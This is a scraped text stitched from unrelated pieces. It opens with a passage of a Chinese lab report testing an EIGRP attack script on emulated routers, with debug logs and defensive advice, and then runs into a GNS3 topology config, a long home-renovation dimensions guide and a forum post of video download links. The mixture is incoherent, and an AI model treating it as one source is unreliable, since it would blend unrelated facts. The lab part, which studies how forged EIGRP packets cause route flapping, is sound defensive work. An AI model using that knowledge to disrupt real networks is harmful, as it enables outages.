Feb 1 08:10:32.915: IP: s=192.168.1.251 (FastEthernet0/0), d=224.0.0.10, len 60, rcvd 2
Feb 1 08:10:32.915: IP: s=192.168.1.251 (FastEthernet0/0), d=224.0.0.10, len 77, rcvd 2
Feb 1 08:10:32.919: IP: s=192.168.1.251 (FastEthernet0/0), d=224.0.0.10, len 40, rcvd 2
Feb 1 08:10:32.931: EIGRP: Received UPDATE . FastEthernet0/0 nbr 192.168.1.251
Feb 1 08:10:32.935: AS 1, Flags 0×1, Seq 45/0 idbQ 0/0 iidbQ un/rely 0/0 peerQ un/rely 0/0
Feb 1 08:10:32.939: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor 192.168.1.251 (FastEthernet0/0) is down: peer restarted
Feb 1 08:10:32.943: DUAL: linkdown: start – 192.168.1.251 via FastEthernet0/0
Feb 1 08:10:32.951: DUAL: Destination 192.168.0.0/16
Feb 1 08:10:32.951: DUAL: Destination 172.16.0.0/16
Feb 1 08:10:32.951: DUAL: Destination 172.16.0.0/24
Feb 1 08:10:32.955: DUAL: linkdown: finish
(R1收到R0的更新,得知已经关闭路由选择,因此自己也关闭了)
3、推论。这个脚本的ipgoodbye参数确实让R0以为收到了goodbye信息,从而引发了路由收敛,但是我们很明显的看到,和方法一的报错不一样,前面是因为地址的动态变化,而这次是因为收到了确定的goodbye信息,问题在于这个goodbye包并不是权值255的包,一样做了有效的处理。
为了验证这一点,我们需要进一步修改实验拓扑,测试如何在不使用脚本的情况下触发更新。
六、修改拓扑验证能否触发和攻击脚本一样的现象拓扑修改如下:
我们插入R3的目的是分别在R3的f0/0上启用248、249地址,测试在接口打开和关闭时对R0的影响,通过分析现象确认是否和攻击脚本一致。
1、192.168.1.248进网。模拟一个正常的邻居下线时的状态。
启动R3的f0/0接口,这个就不比说了,只是多了个邻居的协商,并通告新的网络和路由,不会触发goodbye,这里就不演示了。
关闭R3的f0/0接口。
R3#clear ip eigrp 1 neighbors
抓包看看:
R3发出的是一个标准的K值全部是255的goodbye包。
观察另外两个路由器的现象:
R0
Feb 1 08:56:22.286: IP: s=192.168.1.248 (FastEthernet0/0), d=224.0.0.10, len 60, rcvd 2
Feb 1 08:56:22.294: EIGRP: Received HELLO . FastEthernet0/0 nbr 192.168.1.248
Feb 1 08:56:22.298: AS 1, Flags 0×0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0 peerQ un/rely 0/0
Feb 1 08:56:22.298: Inteface goodbye received
Feb 1 08:56:22.298: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor192.168.1.248 (FastEthernet0/0) is down: Interface Goodbye received
Feb 1 08:56:22.298: DUAL: linkdown: start – 192.168.1.248 via FastEthernet0/0
Feb 1 08:56:22.298: DUAL: Destination 192.168.0.0/16
Feb 1 08:56:22.302: DUAL: Destination 172.16.0.0/16
Feb 1 08:56:22.306: DUAL: linkdown: finish
R1
Feb 1 08:56:22.233: EIGRP: Received HELLO . FastEthernet0/0 nbr 192.168.1.248
Feb 1 08:56:22.237: AS 1, Flags 0×0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0 peerQ un/rely 0/0
Feb 1 08:56:22.241: Inteface goodbye received
Feb 1 08:56:22.241: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor192.168.1.248 (FastEthernet0/0) is down: Interface Goodbye received
Feb 1 08:56:22.245: DUAL: linkdown: start – 192.168.1.248 via FastEthernet0/0
Feb 1 08:56:22.253: DUAL: Destination 192.168.0.0/16
Feb 1 08:56:22.257: DUAL: Destination 172.16.0.0/16
Feb 1 08:56:22.261: DUAL: Destination 172.16.0.0/24
Feb 1 08:56:22.265: DUAL: linkdown: finish
可以看到,两个路由器几乎在同时收到了248的goodbye,因此做了终止路由选择动作。以上过程非常符合我们对eigrp的认识。
2、192.168.1.249进网。模拟攻击方法一中网内出现不同mac地址的249时,会不会触发goodbye。
我们在R3的f0/0接口上直接修改地址:
ip add 192.168.1.249 255.255.0.0
(1)R3接口地址改变,eigrp重新计算,发送goodbye信息:
R3
.Feb 2 00:18:02.474: IP: s=192.168.1.249 (local), d=224.0.0.10 (FastEthernet0/0), len 60, sending broad/multicast
.Feb 2 00:18:02.478: EIGRP: Sending HELLO . FastEthernet0/0
.Feb 2 00:18:02.482: AS 1, Flags 0×0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0
(指令生效,R3已经把249当成自己的local,向外组播)
其实根据mac地址确定,这个包时R3已经向外发送goodbye信息。
(2)R0本来向R1路由的172.16失去目标(由于被假的249顶替),发出查询数据:
R3收到查询信息,并再次发出goodbye信息:
R3
.Feb 2 00:18:02.510: DUAL: rcvupdate: 192.168.0.0/16 via Connected metric 4294967295/4294967295
.Feb 2 00:18:02.514: DUAL: Find FS for dest 192.168.0.0/16. FD is 281600, RD is 281600
.Feb 2 00:18:02.518: DUAL: 0.0.0.0 metric 4294967295/4294967295 not found Dmin is 4294967295
.Feb 2 00:18:02.518: DUAL: Peer total 2 stub 0 template 0
.Feb 2 00:18:02.522: DUAL: Dest 192.168.0.0/16 (No peers) not entering active state.
.Feb 2 00:18:02.526: DUAL: Removing dest 192.168.0.0/16, nexthop 0.0.0.0, infosource 0.0.0.0
.Feb 2 00:18:02.530: DUAL: No routes. Flushing dest 192.168.0.0/16
.Feb 2 00:18:02.534: IP: s=192.168.1.249 (local), d=224.0.0.10 (FastEthernet0/0), len 60, sending broad/multicast
.Feb 2 00:18:02.538: EIGRP: Sending HELLO . FastEthernet0/0
(3)R0终于明白过来,也开始进入down程序:
R0
Feb 2 00:18:02.534: IP: s=192.168.1.249 (FastEthernet0/0), d=224.0.0.10, len 60, rcvd 2
Feb 2 00:18:02.542: EIGRP: Received HELLO . FastEthernet0/0 nbr 192.168.1.249
Feb 2 00:18:02.546: AS 1, Flags 0×0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0 peerQ un/rely 0/0
Feb 2 00:18:02.550: Inteface goodbye received
Feb 2 00:18:02.550: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor192.168.1.249 (FastEthernet0/0) is down: Interface Goodbye received
Feb 2 00:18:02.554: DUAL: linkdown: start – 192.168.1.249 via FastEthernet0/0
Feb 2 00:18:02.562: DUAL: Destination 192.168.0.0/16
Feb 2 00:18:02.566: DUAL: Destination 172.16.0.0/16
Feb 2 00:18:02.570: DUAL: Find FS for dest 172.16.0.0/16. FD is 307200, RD is 307200
Feb 2 00:18:02.574: DUAL: 192.168.1.249 metric 4294967295/4294967295 not found Dmin is 4294967295
Feb 2 00:18:02.574: DUAL: Peer total 1 stub 0 template 1
Feb 2 00:18:02.578: DUAL: Dest 172.16.0.0/16 entering active state.
Feb 2 00:18:02.582: DUAL: Set reply-status table. Count is 1.
Feb 2 00:18:02.582: DUAL: Not doing split horizon
Feb 2 00:18:02.586: DUAL: linkdown: finish
(4)与此同时,R1也收到了假249的包和R0的查询包,一直做忽略和更新通告处理:
R1
Feb 2 00:18:02.595: EIGRP: Received HELLO . FastEthernet0/0 nbr 192.168.1.249
Feb 2 00:18:02.599: AS 1, Flags 0×0, Seq 0/0 idbQ 0/0
Feb 2 00:18:02.599: EIGRP: Packet from ourselves ignored
Feb 2 00:18:02.667: IP: s=192.168.1.251 (FastEthernet0/0), d=224.0.0.10, len 67, rcvd 2
Feb 2 00:18:02.671: EIGRP: Received QUERY . FastEthernet0/0 nbr 192.168.1.251
Feb 2 00:18:02.671: AS 1, Flags 0×0, Seq 111/0 idbQ 0/0 iidbQ un/rely 0/0 peerQ un/rely 0/0
Feb 2 00:18:02.671: EIGRP: Enqueueing ACK . FastEthernet0/0 nbr 192.168.1.251
Feb 2 00:18:02.671: Ack seq 111 iidbQ un/rely 0/0 peerQ un/rely 1/0
Feb 2 00:18:02.671: IP-EIGRP(Default-IP-Routing-Table:1): Processing incoming QUERY packet
Feb 2 00:18:02.671: IP-EIGRP(Default-IP-Routing-Table:1): Int 172.16.0.0/16M 4294967295 – 256000 4294967295 SM 4294967295 – 256000 4294967295
Feb 2 00:18:02.675: DUAL: dest(172.16.0.0/16) not active
Feb 2 00:18:02.675: DUAL: rcvquery: 172.16.0.0/16 via 192.168.1.251 metric 4294967295/4294967295, RD is 281600
Feb 2 00:18:02.679: DUAL: send REPLY(r1/n1) about 172.16.0.0/16 to 192.168.1.251
Feb 2 00:18:02.683: IP: s=192.168.1.249 (local), d=192.168.1.251 (FastEthernet0/0), len 40, sending
Feb 2 00:18:02.687: EIGRP: Sending ACK . FastEthernet0/0 nbr 192.168.1.251
Feb 2 00:18:02.691: AS 1, Flags 0×0, Seq 0/111 idbQ 0/0 iidbQ un/rely 0/0 peerQ un/rely 1/0
Feb 2 00:18:02.695: EIGRP: Enqueueing REPLY . FastEthernet0/0 nbr 192.168.1.251 iidbQ un/rely 0/1 peerQ un/rely 0/0 serno 7-7
Feb 2 00:18:02.699: EIGRP: Requeued unicast . FastEthernet0/0
Feb 2 00:18:02.703: EIGRP: Forcing multicast xmit . FastEthernet0/0
Feb 2 00:18:02.703: IP-EIGRP(Default-IP-Routing-Table:1): 172.16.0.0/16 – do advertise out FastEthernet0/0
Feb 2 00:18:02.707: IP-EIGRP(Default-IP-Routing-Table:1): Int 172.16.0.0/16 metric 281600 – 256000 25600
Feb 2 00:18:02.707: IP: s=192.168.1.249 (local), d=192.168.1.251 (FastEthernet0/0), len 67, sending
Feb 2 00:18:02.707: EIGRP: Sending REPLY . FastEthernet0/0 nbr 192.168.1.251
Feb 2 00:18:02.707: AS 1, Flags 0×0, Seq 65/111 idbQ 0/0 iidbQ un/rely 0/0 peerQ un/rely 0/1 serno 7-7
Feb 2 00:18:02.711: IP: s=192.168.1.249 (FastEthernet0/0), d=224.0.0.10, len 60, rcvd 2
Feb 2 00:18:02.719: EIGRP: Received HELLO . FastEthernet0/0 nbr 192.168.1.249
Feb 2 00:18:02.723: AS 1, Flags 0×0, Seq 0/0 idbQ 0/0
Feb 2 00:18:02.727: EIGRP: Packet from ourselves ignored
Feb 2 00:18:02.767: IP: s=192.168.1.249 (FastEthernet0/0), d=224.0.0.10, len 60, rcvd 2
Feb 2 00:18:02.775: EIGRP: Received HELLO . FastEthernet0/0 nbr 192.168.1.249
Feb 2 00:18:02.779: AS 1, Flags 0×0, Seq 0/0 idbQ 0/0
Feb 2 00:18:02.779: EIGRP: Packet from ourselves ignored
(5)随后三者的状态:
R0
Feb 2 00:55:37.910: IP: s=192.168.1.249 (FastEthernet0/0), d=192.168.1.251 (FastEthernet0/0), len 40, rcvd 3
Feb 2 00:55:37.918: EIGRP: Received UPDATE . FastEthernet0/0 nbr 192.168.1.249
Feb 2 00:55:37.922: AS 1, Flags 0×1, Seq 72/136 idbQ 0/0 iidbQ un/rely0/0 peerQ un/rely 0/0, last received seq 72, out of sequence, this seq72
R0不断的收到起死回生后的R3的更新,但是由于真假249的交错数据,R0发现序列号不对,不断丢弃更新,从而始终在反复重启eigrp状态。
R1和R3则不断的发送hello更新,企图争先和R0建立邻居关系。
这样,网内的路由不断翻滚,并伴随路由器报出IP地址重叠的消息。
归根结底,通过修改路由拓扑的方法并不能重现攻击时的状态,这次R0明显的报告出了数据包序列号不同步等方面的问题,而非地址动态等毛病。
七、总结这次的实验中我们设计了几个环节:
1、eigrp恶意路由的插入;这个没有悬念,非常顺利。
2、eigrp的hellodos攻击,这个我们认识到了不是真正的dos,而是在eigrp收到一个构造的包,包的源是已经形成邻接关系的邻居,目的不是224.0.0.10而是自身eigrp进程接口地址时,会触发本机发出goodbye,同时报告地址动态/静态变化。
3、eigrp的ipgoodbye攻击,这个我们也发现了并非全255的值,但是后面跟上了一段攻击脚本自身的数据,同样引发了被攻击设备识别为goodbye的现象。
4、最后我们自己修改环境,模拟网内插入一个同样地址的设备,发现现象又和上述情况不同,新插入的设备和被攻击路由器交互,被攻击路由器收到两个相同设备的数据而困扰,处于丢弃状态,而另外真假两个路由器则不断的试图联系和更新对端。
认识:
1、此攻击脚本有很多忽悠的成分,说是dos其实根本不是,说ipgoodbye其实组包格式不对;其他参数由于和攻击无关还未一一测试。
2、eigrp在算法上有很多值得深入研究的,目前认识还比较浅薄,尤其在什么情况下触发goodbye在本次实验中并未达成共识。
3、本次实验的几种现象都是攻击者较为容易模拟的现象,证明eigrp在某些情况下存在容易引发路由翻滚的弊端。
建议:
1、严格匹配邻居关系,锁定IP地址,合理规划网内eigrp布局。
2、打开认证,不要怕麻烦,安全在于意识。尤其在局域网速率飞速上涨的今天,一点加解密算法不会对网络和设备荷载造成很大的影响。
3、加强管理,随时关注网内数据。
autostart = False
[localhost:7202]
workingdir = E:\Dynamips\bsci_working
udp = 10200
[[3640]]
image = E:\Dynamips\ios\Unzip\unzip-c3640-ik9o3s-mz.124-10.bin
idlepc = 0×605c95b4
ghostios = True
chassis = 3640
[[ROUTER P2R4]]
model = 3640
console = 2015
slot0 = NM-4T
s0/0 = P2R3 s0/0
slot1 = NM-1FE-TX
f1/0 = P2R2 f1/0
x = 272.0
y = 203.0
hx = -2.0
hy = -20.0
[[ROUTER P2R3]]
model = 3640
console = 2019
slot0 = NM-4T
s0/0 = P2R4 s0/0
slot1 = NM-1FE-TX
f1/0 = P2R1 f1/0
x = 83.0
y = 207.0
[[ROUTER P2R1]]
model = 3640
console = 2020
slot0 = NM-4T
s0/0 = FR s1/2
s0/1 = P2R2 s0/1
slot1 = NM-1FE-TX
f1/0 = P2R3 f1/0
x = 87.0
y = 70.0
[[ROUTER P2R2]]
model = 3640
console = 2021
slot0 = NM-4T
s0/0 = FR s1/3
s0/1 = P2R1 s0/1
slot1 = NM-1FE-TX
f1/0 = P2R4 f1/0
x = 266.0
y = 70.0
[localhost:7200]
workingdir = E:\Dynamips\bsci_working
udp = 10000
[[3640]]
image = E:\Dynamips\ios\Unzip\unzip-c3640-ik9o3s-mz.124-10.bin
idlepc = 0×605c95b4
ghostios = True
chassis = 3640
[[ROUTER R4]]
model = 3640
console = 2013
slot0 = NM-1FE-TX
f0/0 = SW0 3
x = -4.0
y = -121.0
hx = 40.0
hy = -21.0
[[ROUTER FR]]
model = 3640
console = 2017
slot0 = NM-4T
s0/0 = BBR2 s0/0
s0/1 = BBR1 s0/0
slot1 = NM-4T
s1/0 = P1R1 s0/0
s1/1 = P1R2 s0/0
s1/2 = P2R1 s0/0
s1/3 = P2R2 s0/0
symbol = Frame_Relay(ROUTE)
x = 6.5
y = -49.5
[[ROUTER BBR2]]
model = 3640
console = 2024
slot0 = NM-4T
s0/0 = FR s0/0
slot1 = NM-1FE-TX
f1/0 = SW0 1
x = -252.0
y = -202.0
[[ETHSW SW0]]
1 = access 1
2 = access 1
3 = access 1
x = -6.5
y = -195.0
[[ROUTER BBR1]]
model = 3640
console = 2014
slot0 = NM-4T
s0/0 = FR s0/1
slot1 = NM-1FE-TX
f1/0 = SW0 2
x = 201.0
y = -201.0
[localhost:7201]
workingdir = E:\Dynamips\bsci_working
udp = 10100
[[3640]]
image = E:\Dynamips\ios\Unzip\unzip-c3640-ik9o3s-mz.124-10.bin
idlepc = 0×605c95b4
ghostios = True
chassis = 3640
[[ROUTER P1R3]]
model = 3640
console = 2023
slot0 = NM-4T
s0/0 = P1R4 s0/0
slot1 = NM-1FE-TX
f1/0 = P1R1 f1/0
x = -282.0
y = 208.0
hx = -7.0
hy = -24.0
[[ROUTER P1R2]]
model = 3640
console = 2022
slot0 = NM-4T
s0/0 = FR s1/1
s0/1 = P1R1 s0/1
slot1 = NM-1FE-TX
f1/0 = P1R4 f1/0
x = -123.0
y = 68.0
[[ROUTER P1R4]]
model = 3640
console = 2018
slot0 = NM-4T
s0/0 = P1R3 s0/0
slot1 = NM-1FE-TX
f1/0 = P1R2 f1/0
x = -119.0
y = 207.0
[[ROUTER P1R1]]
model = 3640
console = 2016
slot0 = NM-4T
s0/0 = FR s1/0
s0/1 = P1R2 s0/1
slot1 = NM-1FE-TX
f1/0 = P1R3 f1/0
x = -278.0
y = 65.0
[GNS3-DATA]
workdir = bsci_working
[[Cloud TFTP]]
symbol = computer
x = -5.5
y = -296.5
家庭装修除了要营造一个温馨的居住环境外, 还要使人在居室中的行动感到舒畅。因此,业主应当了解一些有关住宅的空间动作尺寸、操作尺寸和一般设施尺寸等方面的知识,以便在装修设计和验收时做到心中有数。

★空间动作尺寸
室内的动作空间是以人和家具、人和墙壁、人和人之间的关系来决定的。例如人坐在餐桌前进餐时,椅背到桌边的距离约为50厘米,当其起身准备离去时,椅背到桌边的距离约为75厘米。人在室内行走时,一人横向侧行需要45厘米的空间,正面行走需要60厘米,两人错行,其中一人横向侧身时共需90厘米。两人正面对行时则需120厘米。根据上述尺寸我们就可以确定出餐厅的空间安排。当然,在实际设计时应采用稍有富裕的尺寸。
★操作尺寸
凡是与人的使用有关的设施,其尺寸要根据人的身体尺寸来确定。
切菜时的高度,切菜板以距地70厘米至80厘米为佳。厨房灶台的高度,以距地面70厘米左右为宜。锅底应离火口3厘米,这样可最大限度地利用火力。抽油烟机与灶台的距离以60厘米至80厘米为宜,距地不高于170厘米。
操作台上方的吊柜要能使主人操作时不碰头为宜。吊柜与操作台之间的距离应在55厘米以上。很多家庭进厨房操作的是家庭主妇,因此,取放物的最佳高度应设计为95厘米至160厘米。
平面操作区域的进深尺度以40厘米至60厘米为宜。

★一般设施尺寸
收藏空间的尺寸可以根据被收藏物品的大小来设计。例如收藏西装的空间宽度至少为60厘米。
皮鞋等物件的宽度约为30厘米,杂志的宽度为25厘米、书籍的宽度为15厘米。
电源开关离地面一般在120厘米至135厘米之间,视听设备、台灯、接线板等的墙上插座一般距地面30厘米,洗衣机的插座距地面120厘米至150厘米,电冰箱的插座为150厘米至180厘米,空调、排气扇等的插座距地面为190厘米至200厘米。
居室门的标准高度一般为200厘米,入户门为210厘米,卫生间、厨房间的门宽为65厘米至70厘米,门把手的位置通常距地面为92厘米至96厘米。

在建筑工地
标准红砖23*11*6;标准入户门洞90公分*2米,房间门洞0.9米*2米,厨房门洞0.8米*2米,卫生间门洞0.7米*2米,标准水泥50kg/袋。
在客厅
1、长沙发与摆在它面前的茶几之间的正确距离是多少?
30厘米
在一个(2400*900*750高 mm)的长沙发面前摆放一个(130*70*45高厘米)的长方形茶几是非常舒适的。两者之间的理想距离应该是能允许你一个人通过的同时又便于使用,也就是说不用站起来就可以方便地拿到桌上的杯子或者杂志。
2、一个能摆放电视机的大型组合柜的最小尺寸应该是多少?
200*50*180高 厘米。
这种类型的家具一般都是由大小不同的方格组成,高处部分比较适合用来摆放书籍,柜体厚度至少保持30厘米;而低处用于摆放电视的柜体厚度至少保持50厘米。同时组合柜整体的高度和横宽还要考虑与墙壁的面积相协调。
电视机的大小?
32寸液晶电视:宽×高×厚(含台架) 857×624×300mm
42寸液晶电视:宽×高×厚: 连底座:1054×813x302mm
各种电视的合理观看距离都是电视尺寸的4倍左右。例如,21英寸电视,最好观看距离是2.13米;29英寸电视,观看距离最好2.95米。
3.如果摆放可容纳三、四个人的沙发,那么应该选择多大的茶几来搭配呢?
140*70*45高 厘米。在沙发的体积很大或是两个长沙发摆在一起的情况下,矮茶几就是很好的选择,高度最好和沙发坐垫的位置持平。
4.在扶手沙发和电视机之间应该预留多大的距离?
3米。这里所指的是在一个25英寸的电视与扶手沙发或长沙发之间最短的距离。此外,摆放电视机的柜面高度应该在40厘米到120厘米之间,这样才能使观众保持正确的坐姿。

5.摆在沙发边上茶几的理想尺寸是多少?
方形:70*70*60高 厘米。椭圆形:70*60高 厘米。
放在沙发边上的咖啡桌应该有一个不是特别大的桌面,但要选那种较高的类型,这样即使坐着的时候也能方便舒适地取到桌上的东西。
6.两个面对面放着的沙发和摆放在中间的茶几一共需要占据多大的空间?
两个双人沙发(规格 160*90*80高 厘米)和茶几(规格 100*60*45高厘米)之间应相距30厘米。
7.长沙发或是扶手沙发的的靠背应该有多高?
85至90厘米。这样的高度可以将头完全放在靠背上,让您的颈部得到充分的放松。如果沙发的靠背和扶手过低,建议您增加一个靠垫来获得舒适。如果空间不是特别宽敞,沙发应该尽量靠墙摆放。
8.如果客厅位于房间的中央,后面想要留出一个走道空间,这个走道应该有多宽?
100至120厘米。走道的空间应该能让两个成年人迎面走过而不至于相撞,通常给每个人留出60厘米的宽度。
9.两个对角摆放的长沙发,它们之间的最小距离应该是多少?
10厘米。如果不需要留出走道的话,这种情况就能允许您再放一个茶几了。

在厨房
1.吊柜和操作台之间的距离应该是多少?
60厘米。从操作台到吊柜的底部,您应该确保这个距离。这样,在您可以方便烹饪的同时,还可以在吊柜里放一些小型家用电器。
2.在厨房两面相对的墙边都摆放各种家具和电器的情况下,中间应该留多大的距离才不会影响在厨房里做家务?
120厘米。
为了能方便地打开两边家具的柜门,就一定要保证至少留出这样的距离。
150厘米。
这样的距离就可以保证在两边柜门都打开的情况下,中间再站一个人。
3.要想舒服地坐在早餐桌的周围,凳子的合适高度应该是多少?
80厘米。
对于一张高110厘米的早餐桌来说,这是摆在它周围凳子的理想高度。因为在桌面和凳子之间还需要30厘米的空间来容下双腿。
4.吊柜应该装在多高的地方?
145至150厘米。
这个高度可以使您不用垫起脚尖就能打开吊柜的门。

在餐厅
1.一个供六个人使用的餐桌有多大?
120厘米。这是对圆形餐桌的直径要求。
140*70厘米。这是对长方形和椭圆形捉制的尺寸要求。
2.餐桌离墙应该有多远?
80厘米。
这个距离是包括把椅子拉出来,以及能使就餐的人方便活动的最小距离。
3.一张以对角线对墙的正方形桌子所占的面积要有多大?
180*180平方厘米 这是一张边长90厘米,桌角离墙面最近距离为40厘米的正方形桌子所占的最小面积。
4.桌子的标准高度应是多少?
72厘米。这是桌子的中等高度,而椅子是通常高度为45厘米。
5.一张供六个人使用的桌子摆起居室里要占多少面积?
300*300厘米。
需要为直径120厘米的桌子留出空地,同时还要为在桌子四周就餐的人留出活动空间。这个方案适合于那种大客厅,面积至少达到600*350厘米。
6.吊灯和桌面之间最合适的距离应该是多少?
70厘米。
这是能使桌面得到完整的、均匀照射的理想距离。

在卫生间
1.卫生间里的用具要占多大地方?
马桶所占的一般面积:37厘米×60厘米
悬挂式或圆柱式盥洗池可能占用的面积:70厘米×60厘米
正方形淋浴间的面积:80厘米×80厘米
浴缸的标准面积:160厘米×70厘米
2.浴缸与对面的墙之间的距离要有多远?
100厘米。想要在周围活动的话这是个合理的距离。即使浴室很窄,也要在安装浴缸时留出走动的空间。总之浴缸和其他墙面或物品之间至少要有60厘米的距离。
3.安装一个盥洗池,并能方便地使用,需要的空间是多大?
90厘米×105厘米。这个尺寸适用于中等大小的盥洗池,并能容下另一个人在旁边洗漱。

4.两个洗手洁具之间应该预留多少距离?
20厘米。这个距离包括马桶和盥洗池之间,或者洁具和墙壁之间的距离。
5.相对摆放的澡盆和马桶之间应该保持多远距离?
60厘米。这是能从中间通过的最小距离,所以一个能相向摆放的澡盆和马桶的洗手间应该至少有180厘米宽。
6.要想在里侧墙边安装下一个浴缸的话,洗手间至少应该有多宽?
180厘米。这个距离对于传统浴缸来说是非常合适的。如果浴室比较窄的话,就要考虑安装小型的带座位的浴缸了。
7.镜子应该装多高?135厘米。这个高度可以使镜子正对着人的脸。
(1)卫生间面积;3-5平方米。
(2)浴缸长度;一般有三种1220、1520、1680mm;宽;720mm,高450mm。
(3)坐便;750×350(mm)。
(4)冲洗器:690×350(mm)。
(5)盟洗盆:550×410(mm)。
(6)淋浴器高:2100mm。
(7)化妆台;长:1350mm;宽450 mm。

在卧室
1. 双人主卧室的最标准面积是多少?
12平方米。夫妻二人的卧室不能比这个在小了。在房间里除了床以外,还可以放一个双开门的衣柜(120*60厘米)和两个床头柜。在一个3*4.5米的房间里可以放更大一点的衣柜;或者选择小一点的双人床,再在抽屉和写字台之间选择其一。就可以在摆放衣柜的地方选择一个带更衣间的衣柜。
2 如果把床斜放在角落里,要留出多大空间?
360*360厘米
这是适合于较大卧室的摆放方法,可以根据床头后面墙角空地的大小在拜访一个储物柜。
3 两张并排摆放的床之间的距离应该有多远?
90厘米
两张床之间除了能放下两个床头柜以外,还应该能让两个人自由走动。当然床的外侧也不例外,这样才能方便的清洁地板和整理床上用品。
4 如果衣柜被放在了与床相对的墙边,那么两件家具这间的距离应该是多少?
90厘米。这个距离是为了能方便地打开柜门而不至于被绊倒在床上。

5 衣柜应该有多高?
240厘米。这个尺寸考虑到了在衣柜里能放下长一些的衣物(160厘米),并在上部留出了放换季衣物的空间(80厘米)
6 要想容的下双人床、两个床头柜外加衣柜的侧面的话,一面墙应该有多大?
420*420厘米。 这个尺寸的墙面可以放下一张160厘米宽的双人床,和侧面宽度为60厘米的衣柜,还包括床两侧的活动空间(两侧60–70厘米),以及柜门打开时所占用的空间(60厘米)。如果衣柜采用拉门,那么墙面只需要360厘米宽就够了。

家具设计的基本尺寸(单位:厘米)
衣橱:深度:一般60~65;推拉门:70,衣橱门宽度:40~65
推拉门:75~150,高度:190~240
矮柜: 深度:35~45,柜门宽度:30-60
电视柜:深度:45-60,高度:30–60
单人床:宽度:90,105,120;长度:180,186,200,210
双人床:宽度:135,150,180;长度180,186,200,210
圆床: 直径:186,212.5,242.4(常用)
室内门:宽度:80-95,医院120;高度:190,200,210,220,240
厕所、厨房门:宽度:80,90;高度:190,200,210
窗帘盒:高度:12-18;深度:单层布12;双层布16-18(实际尺寸)
沙发:单人式:长度:80-95,深度:85-90;坐垫高:35-42;背高:70-90
双人式:长度:126-150;深度:80-90
三人式:长度:175-196;深度:80-90
四人式:长度:232-252;深度80-90

茶几:小型,长方形:长度60-75,宽度45-60,高度38-50(38最佳)
中型,长方形:长度120-135;宽度38-50或者60-75
正方形:长度75-90,高度43-50
大型,长方形:长度150-180,宽度60-80,高度33-42(33最佳)
圆形:直径75,90,105,120;高度:33-42
方形:宽度90,105,120,135,150;高度33-42
书桌:固定式:深度45-70(60最佳),高度75
活动式:深度65-80,高度75-78
书桌下缘离地至少58;长度:最少90(150-180最佳)
餐桌:高度75-78(一般),西式高度68-72,一般方桌宽度120,90,75;
长方桌宽度80,90,105,120;长度150,165,180,210,240
圆桌:直径90,120,135,150,180
书架:深度25-40(每一格),长度:60-120;下大上小型下方深度35-45,高度80-90
活动未及顶高柜:深度45,高度180-200
木隔间墙厚:6-10;内角材排距:长度(45-60)*90

室内常用尺寸:
1、墙面尺寸
(1)踢脚板高;80-200mm。
(2)墙裙高:800-1500mm。
(3)挂镜线高:1600-1800(画中心距地面高度)mm。
2.餐厅
(1) 餐桌高:750-790mm。
(2) 餐椅高;450-500mm。
(3) 圆桌直径:二人500mm.二人800mm,四人900mm,五人1100mm,六人1100-1250mm,八人1300mm,十人l500mm,十二人1800mm。
(4) 方餐桌尺寸:二人700×850(mm),四人1350×850(mm),八人2250×850(mm),
(5) 餐桌转盘直径;700-800mm。
(6) 餐桌间距:(其中座椅占500mm)应大于500mm。
(7) 主通道宽:1200-1300mm。
(8) 内部工作道宽:600-900mm。
(9) 酒吧台高:900-l050mm,宽500mm。
(10) 酒吧凳高;600一750mm。

3.灯具
(1)大吊灯最小高度:2400mm。
(2)壁灯高:1500-1800mm。
(3)反光灯槽最小直径:等于或大于灯管直径两倍。
(4)壁式床头灯高:1200-1400mm。
(5)照明开关高:1000mm。

4.办公家具
(1)办公桌:长:1200-1600mm:宽:500-650mm 5高;700-800mm。
(2)办公椅:高;400-450mm长×宽:450×450(mm)。
(3)沙发:宽:600-800mm;高:350-400mm;靠背面:1000mm。
(4)茶几;前置型:900×400×400(高)( mm);中心型:900x 900×400(mm)、700×700×400(mm);左右型:600×400×400(mm)。
(5)书柜:高:1800mm,宽:1200-1500mm;深:450-500mm。
(6)书架:高:1800mm 6宽:1000-1300mm ;深:350-450mm。
鉴别瓷砖的优劣:
1.釉面应平滑、细腻;
2.将几块陶瓷砖拼放在一起,在光线下仔细察看,好的产品色差很小,产品之间色调基本一致;而差的产品色差较大,产品之间色调深浅不一;
3.瓷砖的颜色、色度清晰、自然,表示瓷化度高,色度不清晰,瓷化度低;
4.花色图案要细腻、逼真,没有明显的缺色、断线、错位等缺陷;
5.在瓷砖背面滴数滴茶叶汁或清水,待数分钟后,视其水滴吸入扩散的程度,不吸水或吸水率低则品质佳;
6.敲击瓷砖听声音是否清脆,声音愈脆,瓷化度、密度愈高,硬度佳;
7.以锐物刮擦瓷砖是否有刮痕,若有刮痕表示施釉差易使人滑倒,表面的釉磨光后,砖面弄脏将无法清洗干净;
客厅用砖
8.选购时,在一米内以肉眼观察表面有无针孔,若有,表示釉面没有完全融合,易产生堆积污物的情形;
9.翘曲度的观察:以肉眼观看瓷砖侧面是否平直,若翘曲情形严重会影响日后瓷砖铺贴的牢固程度;
10.规格可用卡尺测量。好的产品规格偏差小,铺贴后,产品整齐划一,砖缝平直,装饰效果良好。差的产品规格偏差大,产品之间尺寸不一;
11.外墙砖的色调应与周围环境保持协调,高层建筑物一般不宜先用白色或过于浅色的外墙装饰砖,以避免使建筑物缺乏质感;在室内装饰中,地砖和内墙砖的色调要相互配套。卫生间所有设施要以卫生洁具为主,墙地砖及各种配件包括五金件及其他配套材料的质量、档次都应与其协调一致;
12.根据使用环境具体选择瓷砖,比如厨房和卫浴最好选择防滑易清洗的通体砖。
最近公司要求通过信息系统管理工程师的考试,特在网上找了一下相关视频,没有找到信息系统管理工程师的视频,倒把信息系统项目管理工程师的视频找到了! 特发上来!!!
http://www.56.com/n_v165_/c31_/26_/24_/shinchen_/zhajm_119492304682_/871000_/0_/22822776.swf
mpls-00-mpls-basic-143min.wmv
http://d.namipan.com/d/82d4ce62e6446179d3eab631166790ac033cfec5cc1b4909
mpls-01-mpls-basic-label-protocol-81min.wmv
http://d.namipan.com/d/ea2084311d6493b6e0a375d7eac98dd6440467ccb8fd1c05
mpls-02-mpls-advanced-feature-124min.wmv
